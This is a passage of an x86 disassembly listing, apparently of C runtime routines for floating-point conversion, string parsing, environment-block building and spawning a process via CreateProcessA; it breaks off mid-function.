; Attributes: bp-based frame
sub_43425A proc near ; CODE XREF: sub_4343C6+Dp
; sub_4343DC+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_4342C7
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_4341B2
test eax, eax
pop ecx
jnz loc_434386
lea eax, [ebp+var_C]
push eax
call sub_4341A6
pop ecx
loc_4342BF: ; CODE XREF: sub_43425A+E4j
push 2
loc_4342C1: ; CODE XREF: sub_43425A+110j
pop eax
jmp loc_434388
; ---------------------------------------------------------------------------
loc_4342C7: ; CODE XREF: sub_43425A+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_43418B
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_4340FF
add esp, 10h
test eax, eax
jz short loc_4342E8
inc ebx
loc_4342E8: ; CODE XREF: sub_43425A+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_434300
lea eax, [ebp+var_C]
push eax
call sub_4341A6
pop ecx
jmp short loc_43433C
; ---------------------------------------------------------------------------
loc_434300: ; CODE XREF: sub_43425A+98j
cmp ebx, eax
jg short loc_434343
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_43418B
lea eax, [ebp+var_C]
push esi
push eax
call sub_4341CD
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_4340FF
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_4341CD
add esp, 20h
loc_43433C: ; CODE XREF: sub_43425A+A4j
xor esi, esi
jmp loc_4342BF
; ---------------------------------------------------------------------------
loc_434343: ; CODE XREF: sub_43425A+A8j
cmp ebx, [edi]
jl short loc_43436F
lea eax, [ebp+var_C]
push eax
call sub_4341A6
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_4341CD
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_4342C1
; ---------------------------------------------------------------------------
loc_43436F: ; CODE XREF: sub_43425A+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_4341CD
pop ecx
pop ecx
loc_434386: ; CODE XREF: sub_43425A+55j
xor eax, eax
loc_434388: ; CODE XREF: sub_43425A+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_4343B7
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_4343C1
; ---------------------------------------------------------------------------
loc_4343B7: ; CODE XREF: sub_43425A+14Ej
cmp edi, 20h
jnz short loc_4343C1
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_4343C1: ; CODE XREF: sub_43425A+15Bj
; sub_43425A+160j
pop edi
pop esi
pop ebx
leave
retn
sub_43425A endp
; =============== S U B R O U T I N E =======================================
sub_4343C6 proc near ; CODE XREF: sub_4343F2+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_453C20
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_43425A
add esp, 0Ch
retn
sub_4343C6 endp
; =============== S U B R O U T I N E =======================================
sub_4343DC proc near ; CODE XREF: sub_43441F+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_453C38
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_43425A
add esp, 0Ch
retn
sub_4343DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4343F2 proc near ; CODE XREF: sub_4306D1+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4352B1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4343C6
add esp, 24h
leave
retn
sub_4343F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43441F proc near ; CODE XREF: sub_4306D1+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4352B1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4343DC
add esp, 24h
leave
retn
sub_43441F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43444C proc near ; CODE XREF: sub_43070F+41p
; sub_430832+38p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_434489
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_43446F: ; CODE XREF: sub_43444C+38j
mov dl, [ecx]
test dl, dl
jz short loc_43447B
movsx edx, dl
inc ecx
jmp short loc_43447E
; ---------------------------------------------------------------------------
loc_43447B: ; CODE XREF: sub_43444C+27j
push 30h
pop edx
loc_43447E: ; CODE XREF: sub_43444C+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_43446F
mov edx, [ebp+arg_8]
loc_434489: ; CODE XREF: sub_43444C+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_4344A2
cmp byte ptr [ecx], 35h
jl short loc_4344A2
loc_434495: ; CODE XREF: sub_43444C+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_4344A0
mov byte ptr [eax], 30h
jmp short loc_434495
; ---------------------------------------------------------------------------
loc_4344A0: ; CODE XREF: sub_43444C+4Dj
inc byte ptr [eax]
loc_4344A2: ; CODE XREF: sub_43444C+42j
; sub_43444C+47j
cmp byte ptr [esi], 31h
jnz short loc_4344AC
inc dword ptr [edx+4]
jmp short loc_4344BE
; ---------------------------------------------------------------------------
loc_4344AC: ; CODE XREF: sub_43444C+59j
push edi
call sub_4292D0
inc eax
push eax
push edi
push esi
call sub_42B9C0
add esp, 10h
loc_4344BE: ; CODE XREF: sub_43444C+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_43444C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4344C3 proc near ; CODE XREF: sub_43070F+19p
; sub_430832+19p ...
var_28 = word ptr -28h
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_43451F
pop ecx
lea eax, [ebp+var_28]
pop ecx
lea esi, [ebp+var_C]
push eax
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_435782
mov esi, [ebp+arg_8]
mov edi, [ebp+arg_C]
mov [esi+8], eax
movsx eax, [ebp+var_26]
mov [esi], eax
movsx eax, [ebp+var_28]
mov [esi+4], eax
lea eax, [ebp+var_24]
push eax
push edi
call sub_42A500
add esp, 20h
mov [esi+0Ch], edi
mov eax, esi
pop edi
pop esi
leave
retn
sub_4344C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43451F proc near ; CODE XREF: sub_4344C3+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_43456D
cmp ebx, edi
jz short loc_434566
lea edi, [ecx+3C00h]
jmp short loc_43458E
; ---------------------------------------------------------------------------
loc_434566: ; CODE XREF: sub_43451F+3Dj
mov edi, 7FFFh
jmp short loc_43458E
; ---------------------------------------------------------------------------
loc_43456D: ; CODE XREF: sub_43451F+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_434585
cmp edx, ebx
jnz short loc_434585
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_4345D0
; ---------------------------------------------------------------------------
loc_434585: ; CODE XREF: sub_43451F+52j
; sub_43451F+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_43458E: ; CODE XREF: sub_43451F+45j
; sub_43451F+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_4345A6: ; CODE XREF: sub_43451F+A6j
test ecx, esi
jnz short loc_4345C7
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_4345A6
; ---------------------------------------------------------------------------
loc_4345C7: ; CODE XREF: sub_43451F+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_4345D0: ; CODE XREF: sub_43451F+64j
pop edi
pop esi
pop ebx
leave
retn
sub_43451F endp
; =============== S U B R O U T I N E =======================================
sub_4345D5 proc near ; CODE XREF: sub_42DBAD+3AAp
; sub_42DBAD+3CBp ...
push 2
call sub_42C5AC
pop ecx
retn
sub_4345D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4345DE proc near ; CODE XREF: sub_430EF3+ACp
; sub_431058+10p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword_676C8C, esi
jnz short loc_4345FB
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42AF90
pop ecx
pop ecx
jmp short loc_43464D
; ---------------------------------------------------------------------------
loc_4345FB: ; CODE XREF: sub_4345DE+Cj
push edi
push 19h
call sub_42DA1F
pop ecx
mov ecx, [ebp+arg_0]
loc_434607: ; CODE XREF: sub_4345DE+62j
mov dl, [ecx]
movzx eax, dl
movzx edi, al
test byte_676DA1[edi], 4
jz short loc_434636
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_434632
movzx edi, dl
shl eax, 8
or eax, edi
cmp [ebp+arg_4], eax
jnz short loc_43463D
lea esi, [ecx-1]
jmp short loc_43463D
; ---------------------------------------------------------------------------
loc_434632: ; CODE XREF: sub_4345DE+40j
test esi, esi
jmp short loc_434639
; ---------------------------------------------------------------------------
loc_434636: ; CODE XREF: sub_4345DE+38j
cmp [ebp+arg_4], eax
loc_434639: ; CODE XREF: sub_4345DE+56j
jnz short loc_43463D
mov esi, ecx
loc_43463D: ; CODE XREF: sub_4345DE+4Dj
; sub_4345DE+52j ...
inc ecx
test dl, dl
jnz short loc_434607
push 19h
call sub_42DA80
pop ecx
mov eax, esi
pop edi
loc_43464D: ; CODE XREF: sub_4345DE+1Bj
pop esi
pop ebp
retn
sub_4345DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434650 proc near ; CODE XREF: sub_430EF3:loc_430F6Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
loc_434656: ; CODE XREF: sub_434650+Cj
cmp byte ptr [ecx], 3Bh
jnz short loc_43465E
inc ecx
jmp short loc_434656
; ---------------------------------------------------------------------------
loc_43465E: ; CODE XREF: sub_434650+9j
dec [ebp+arg_8]
push esi
mov eax, ecx
jz short loc_4346B3
mov dl, [ecx]
mov esi, [ebp+arg_4]
test dl, dl
jz short loc_4346A7
loc_43466F: ; CODE XREF: sub_434650+55j
cmp dl, 3Bh
jz short loc_4346A7
cmp dl, 22h
jz short loc_434684
mov [esi], dl
inc esi
inc ecx
dec [ebp+arg_8]
jz short loc_4346AF
jmp short loc_4346A1
; ---------------------------------------------------------------------------
loc_434684: ; CODE XREF: sub_434650+27j
inc ecx
loc_434685: ; CODE XREF: sub_434650+49j
mov dl, [ecx]
test dl, dl
jz short loc_43469B
cmp dl, 22h
jz short loc_43469B
mov [esi], dl
inc esi
inc ecx
dec [ebp+arg_8]
jz short loc_4346AF
jmp short loc_434685
; ---------------------------------------------------------------------------
loc_43469B: ; CODE XREF: sub_434650+39j
; sub_434650+3Ej
cmp byte ptr [ecx], 0
jz short loc_4346A1
inc ecx
loc_4346A1: ; CODE XREF: sub_434650+32j
; sub_434650+4Ej
mov dl, [ecx]
test dl, dl
jnz short loc_43466F
loc_4346A7: ; CODE XREF: sub_434650+1Dj
; sub_434650+22j ...
cmp byte ptr [ecx], 3Bh
jnz short loc_4346B6
inc ecx
jmp short loc_4346A7
; ---------------------------------------------------------------------------
loc_4346AF: ; CODE XREF: sub_434650+30j
; sub_434650+47j
mov eax, ecx
jmp short loc_4346B6
; ---------------------------------------------------------------------------
loc_4346B3: ; CODE XREF: sub_434650+14j
mov esi, [ebp+arg_4]
loc_4346B6: ; CODE XREF: sub_434650+5Aj
; sub_434650+61j
and byte ptr [esi], 0
sub eax, ecx
neg eax
sbb eax, eax
pop esi
and eax, ecx
pop ebp
retn
sub_434650 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4346C4 proc near ; CODE XREF: sub_430EF3+3Ap
; sub_430EF3+114p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_676C8C, 0
push ebx
push esi
jnz short loc_4346E1
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42B0D0
pop ecx
pop ecx
jmp short loc_434757
; ---------------------------------------------------------------------------
loc_4346E1: ; CODE XREF: sub_4346C4+Cj
push 19h
call sub_42DA1F
mov esi, [ebp+arg_0]
pop ecx
loc_4346EC: ; CODE XREF: sub_4346C4+60j
movzx bx, byte ptr [esi]
test bx, bx
jz short loc_43473F
movzx eax, bl
test byte_676DA1[eax], 4
jz short loc_43471B
mov al, [esi+1]
inc esi
test al, al
jz short loc_434726
movzx ecx, bx
movzx eax, al
shl ecx, 8
or ecx, eax
cmp [ebp+arg_4], ecx
jz short loc_434732
jmp short loc_434723
; ---------------------------------------------------------------------------
loc_43471B: ; CODE XREF: sub_4346C4+3Bj
movzx eax, bx
cmp [ebp+arg_4], eax
jz short loc_43473F
loc_434723: ; CODE XREF: sub_4346C4+55j
inc esi
jmp short loc_4346EC
; ---------------------------------------------------------------------------
loc_434726: ; CODE XREF: sub_4346C4+43j
push 19h
call sub_42DA80
pop ecx
xor eax, eax
jmp short loc_434757
; ---------------------------------------------------------------------------
loc_434732: ; CODE XREF: sub_4346C4+53j
push 19h
call sub_42DA80
pop ecx
lea eax, [esi-1]
jmp short loc_434757
; ---------------------------------------------------------------------------
loc_43473F: ; CODE XREF: sub_4346C4+2Fj
; sub_4346C4+5Dj
push 19h
call sub_42DA80
mov eax, [ebp+arg_4]
pop ecx
movzx ecx, bx
sub eax, ecx
neg eax
sbb eax, eax
not eax
and eax, esi
loc_434757: ; CODE XREF: sub_4346C4+1Bj
; sub_4346C4+6Cj ...
pop esi
pop ebx
pop ebp
retn
sub_4346C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43475B proc near ; CODE XREF: sub_4311A1+32p
var_60 = dword ptr -60h
var_2E = word ptr -2Eh
var_2C = dword ptr -2Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 60h
mov eax, [ebp+arg_0]
and [ebp+var_1], 0
push ebx
push esi
push edi
xor edi, edi
cmp eax, edi
mov [ebp+var_8], edi
jz short loc_434789
cmp eax, 1
jz short loc_434789
jle short loc_4347AB
cmp eax, 3
jle short loc_434789
cmp eax, 4
jnz short loc_4347AB
mov [ebp+var_1], 1
loc_434789: ; CODE XREF: sub_43475B+17j
; sub_43475B+1Cj ...
mov eax, [ebp+arg_8]
mov [ebp+var_C], eax
loc_43478F: ; CODE XREF: sub_43475B+47j
; sub_43475B+4Ej
mov cl, [eax]
test cl, cl
jz short loc_4347C2
loc_434795: ; CODE XREF: sub_43475B+3Ej
inc eax
cmp byte ptr [eax], 0
jnz short loc_434795
cmp byte ptr [eax+1], 0
lea ecx, [eax+1]
jz short loc_43478F
mov byte ptr [eax], 20h
mov eax, ecx
jmp short loc_43478F
; ---------------------------------------------------------------------------
loc_4347AB: ; CODE XREF: sub_43475B+1Ej
; sub_43475B+28j
call sub_42F049
mov dword ptr [eax], 16h
call sub_42F052
mov [eax], edi
jmp loc_4348E6
; ---------------------------------------------------------------------------
loc_4347C2: ; CODE XREF: sub_43475B+38j
push 44h
lea eax, [ebp+var_60]
pop esi
push esi
push edi
push eax
call sub_429690
mov [ebp+var_60], esi
mov esi, dword_676FC0
add esp, 0Ch
cmp esi, edi
jz short loc_434804
lea ecx, [esi-1]
loc_4347E3: ; CODE XREF: sub_43475B+A7j
mov edx, ecx
mov eax, ecx
sar edx, 5
and eax, 1Fh
mov edx, dword_676EC0[edx*4]
lea eax, [eax+eax*8]
cmp byte ptr [edx+eax*4+4], 0
jnz short loc_434804
dec esi
dec ecx
cmp esi, edi
jnz short loc_4347E3
loc_434804: ; CODE XREF: sub_43475B+83j
; sub_43475B+A1j
lea eax, [esi+esi*4+4]
push 1
mov [ebp+var_2E], ax
movzx eax, ax
push eax
call sub_42B2CA
mov [ebp+var_2C], eax
pop ecx
mov [eax], esi
mov eax, [ebp+var_2C]
pop ecx
xor ebx, ebx
cmp esi, edi
lea ecx, [eax+4]
lea edx, [eax+esi+4]
jle short loc_434868
loc_43482E: ; CODE XREF: sub_43475B+106j
mov edi, ebx
mov eax, ebx
sar edi, 5
and eax, 1Fh
mov edi, dword_676EC0[edi*4]
lea eax, [eax+eax*8]
lea edi, [edi+eax*4]
mov al, [edi+4]
test al, 10h
jnz short loc_434854
mov [ecx], al
mov eax, [edi]
mov [edx], eax
jmp short loc_43485A
; ---------------------------------------------------------------------------
loc_434854: ; CODE XREF: sub_43475B+EFj
and byte ptr [ecx], 0
or dword ptr [edx], 0FFFFFFFFh
loc_43485A: ; CODE XREF: sub_43475B+F7j
inc ebx
inc ecx
add edx, 4
cmp ebx, esi
jl short loc_43482E
mov eax, [ebp+var_2C]
xor edi, edi
loc_434868: ; CODE XREF: sub_43475B+D1j
cmp [ebp+var_1], 0
jz short loc_43489B
lea ecx, [eax+4]
xor edx, edx
lea eax, [eax+esi+4]
loc_434877: ; CODE XREF: sub_43475B+137j
cmp esi, 3
jge short loc_434880
mov ebx, esi
jmp short loc_434883
; ---------------------------------------------------------------------------
loc_434880: ; CODE XREF: sub_43475B+11Fj
push 3
pop ebx
loc_434883: ; CODE XREF: sub_43475B+123j
cmp edx, ebx
jge short loc_434894
and byte ptr [ecx], 0
or dword ptr [eax], 0FFFFFFFFh
inc edx
inc ecx
add eax, 4
jmp short loc_434877
; ---------------------------------------------------------------------------
loc_434894: ; CODE XREF: sub_43475B+12Aj
mov [ebp+var_8], 8
loc_43489B: ; CODE XREF: sub_43475B+111j
call sub_42F049
mov [eax], edi
call sub_42F052
mov [eax], edi
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_60]
push eax
push edi
push [ebp+arg_C]
push [ebp+var_8]
push 1
push edi
push edi
push [ebp+var_C]
push [ebp+arg_4]
call dword_437188 ; CreateProcessA
mov esi, eax
call dword_43716C ; RtlGetLastWin32Error
push [ebp+var_2C]
mov ebx, eax
call sub_429822
cmp esi, edi
pop ecx
jnz short loc_4348EB
push ebx
call sub_42EFD6
pop ecx
loc_4348E6: ; CODE XREF: sub_43475B+62j
or eax, 0FFFFFFFFh
jmp short loc_43493F
; ---------------------------------------------------------------------------
loc_4348EB: ; CODE XREF: sub_43475B+182j
cmp [ebp+arg_0], 2
jnz short loc_4348F7
push edi
call sub_430A75
loc_4348F7: ; CODE XREF: sub_43475B+194j
cmp [ebp+arg_0], edi
mov esi, dword_437044
jnz short loc_434921
push 0FFFFFFFFh
push [ebp+var_1C]
call dword_43707C ; WaitForSingleObject
lea eax, [ebp+arg_8]
push eax
push [ebp+var_1C]
call dword_4370F0 ; GetExitCodeProcess
push [ebp+var_1C]
call esi ; dword_437044
jmp short loc_434937
; ---------------------------------------------------------------------------
loc_434921: ; CODE XREF: sub_43475B+1A5j
cmp [ebp+arg_0], 4
jnz short loc_434931
push [ebp+var_1C]
call esi ; dword_437044
mov [ebp+arg_8], edi
jmp short loc_434937
; ---------------------------------------------------------------------------
loc_434931: ; CODE XREF: sub_43475B+1CAj
mov eax, [ebp+var_1C]
mov [ebp+arg_8], eax
loc_434937: ; CODE XREF: sub_43475B+1C4j
; sub_43475B+1D4j
push [ebp+var_18]
call esi ; dword_437044
mov eax, [ebp+arg_8]
loc_43493F: ; CODE XREF: sub_43475B+18Ej
pop edi
pop esi
pop ebx
leave
retn
sub_43475B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434944 proc near ; CODE XREF: sub_4311A1+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2
pop esi
mov edi, esi
loc_434952: ; CODE XREF: sub_434944+22j
mov eax, [ebx]
test eax, eax
jz short loc_434968
push eax
add ebx, 4
call sub_4292D0
pop ecx
lea edi, [edi+eax+1]
jmp short loc_434952
; ---------------------------------------------------------------------------
loc_434968: ; CODE XREF: sub_434944+12j
push edi
call sub_4296E8
pop ecx
mov ecx, [ebp+arg_8]
test eax, eax
mov [ecx], eax
jnz short loc_434983
mov eax, [ebp+arg_C]
and dword ptr [eax], 0
jmp loc_434A65
; ---------------------------------------------------------------------------
loc_434983: ; CODE XREF: sub_434944+32j
mov edi, [ebp+arg_4]
test edi, edi
jz short loc_4349A0
loc_43498A: ; CODE XREF: sub_434944+5Aj
mov eax, [edi]
test eax, eax
jz short loc_4349C7
push eax
add edi, 4
call sub_4292D0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_43498A
; ---------------------------------------------------------------------------
loc_4349A0: ; CODE XREF: sub_434944+44j
mov eax, [ebp+arg_C]
mov ebx, [ebp+arg_C]
mov edi, [ebp+arg_C]
and dword ptr [eax], 0
loc_4349AC: ; CODE XREF: sub_434944+10Dj
mov eax, [ebp+arg_8]
mov esi, [eax]
mov eax, [ebp+arg_0]
mov [ebp+arg_8], eax
mov eax, [eax]
test eax, eax
jnz loc_434A83
loc_4349C1: ; CODE XREF: sub_434944+185j
inc esi
jmp loc_434AA2
; ---------------------------------------------------------------------------
loc_4349C7: ; CODE XREF: sub_434944+4Aj
mov eax, dword_676904
test eax, eax
jnz short loc_4349E2
call sub_432E65
test eax, eax
mov dword_676904, eax
jz loc_434A7B
loc_4349E2: ; CODE XREF: sub_434944+8Aj
xor ebx, ebx
cmp [eax], bl
jz short loc_434A0B
mov edi, eax
mov cl, [edi]
loc_4349EC: ; CODE XREF: sub_434944+C5j
cmp cl, 3Dh
jz short loc_434A0B
push edi
call sub_4292D0
lea ebx, [ebx+eax+1]
mov eax, dword_676904
pop ecx
mov cl, [eax+ebx]
lea edi, [eax+ebx]
test cl, cl
jnz short loc_4349EC
loc_434A0B: ; CODE XREF: sub_434944+A2j
; sub_434944+ABj
mov edi, ebx
add eax, ebx
loc_434A0F: ; CODE XREF: sub_434944+F7j
cmp byte ptr [eax], 3Dh
jnz short loc_434A3D
cmp byte ptr [eax+1], 0
jz short loc_434A3D
cmp byte ptr [eax+2], 3Ah
jnz short loc_434A3D
cmp byte ptr [eax+3], 3Dh
jnz short loc_434A3D
add eax, 4
push eax
call sub_4292D0
lea edi, [edi+eax+5]
mov eax, dword_676904
pop ecx
add eax, edi
jmp short loc_434A0F
; ---------------------------------------------------------------------------
loc_434A3D: ; CODE XREF: sub_434944+CEj
; sub_434944+D4j ...
mov eax, edi
sub eax, ebx
add eax, esi
push eax
call sub_4296E8
pop ecx
mov ecx, [ebp+arg_C]
test eax, eax
mov [ecx], eax
jnz loc_4349AC
mov esi, [ebp+arg_8]
push dword ptr [esi]
call sub_429822
and dword ptr [esi], 0
pop ecx
loc_434A65: ; CODE XREF: sub_434944+3Aj
call sub_42F049
mov dword ptr [eax], 0Ch
call sub_42F052
mov dword ptr [eax], 8
loc_434A7B: ; CODE XREF: sub_434944+98j
or eax, 0FFFFFFFFh
jmp loc_434B45
; ---------------------------------------------------------------------------
loc_434A83: ; CODE XREF: sub_434944+77j
push eax
push esi
call sub_42A500
mov eax, [ebp+arg_0]
mov ecx, [eax]
add eax, 4
push ecx
mov [ebp+arg_8], eax
call sub_4292D0
add esp, 0Ch
lea esi, [esi+eax+1]
loc_434AA2: ; CODE XREF: sub_434944+7Ej
mov eax, [ebp+arg_8]
mov eax, [eax]
test eax, eax
jz short loc_434ACE
push eax
push esi
call sub_42A500
mov eax, [ebp+arg_8]
add [ebp+arg_8], 4
mov eax, [eax]
push eax
call sub_4292D0
add esp, 0Ch
add esi, eax
mov byte ptr [esi], 20h
jmp loc_4349C1
; ---------------------------------------------------------------------------
loc_434ACE: ; CODE XREF: sub_434944+165j
mov eax, [ebp+arg_C]
and byte ptr [esi-1], 0
and byte ptr [esi], 0
cmp [ebp+arg_4], 0
mov esi, [eax]
jz short loc_434B1E
mov eax, edi
sub eax, ebx
push eax
mov eax, dword_676904
add eax, ebx
push eax
push esi
call sub_429350
sub edi, ebx
add esp, 0Ch
add esi, edi
mov edi, [ebp+arg_4]
loc_434AFD: ; CODE XREF: sub_434944+1D8j
mov eax, [edi]
test eax, eax
jz short loc_434B1E
push eax
push esi
call sub_42A500
mov eax, [edi]
add edi, 4
push eax
call sub_4292D0
add esp, 0Ch
lea esi, [esi+eax+1]
jmp short loc_434AFD
; ---------------------------------------------------------------------------
loc_434B1E: ; CODE XREF: sub_434944+19Aj
; sub_434944+1BDj
test esi, esi
jz short loc_434B30
mov eax, [ebp+arg_C]
cmp esi, [eax]
jnz short loc_434B2D
and byte ptr [esi], 0
inc esi
loc_434B2D: ; CODE XREF: sub_434944+1E3j
and byte ptr [esi], 0
loc_434B30: ; CODE XREF: sub_434944+1DCj
push dword_676904
call sub_429822
and dword_676904, 0
pop ecx
xor eax, eax
loc_434B45: ; CODE XREF: sub_434944+13Aj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_434944 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434B4A proc near ; CODE XREF: sub_431213+5Ep
; sub_435E44+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_434B57
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_434B57: ; CODE XREF: sub_434B4A+7j
push dword_676C7C
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_676EA4
call sub_435A15
add esp, 1Ch
test eax, eax
jnz short loc_434B84
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_434B84: ; CODE XREF: sub_434B4A+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_434B4A endp
; =============== S U B R O U T I N E =======================================
sub_434B89 proc near ; CODE XREF: sub_431213+1Ep
; sub_435CBD+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_6769D4
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_434BEA
mov ebx, dword_437074
loc_434BA2: ; CODE XREF: sub_434B89+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; dword_437074
mov ebp, eax
cmp ebp, edi
jz short loc_434BF2
push ebp
call sub_4296E8
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_434BF2
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
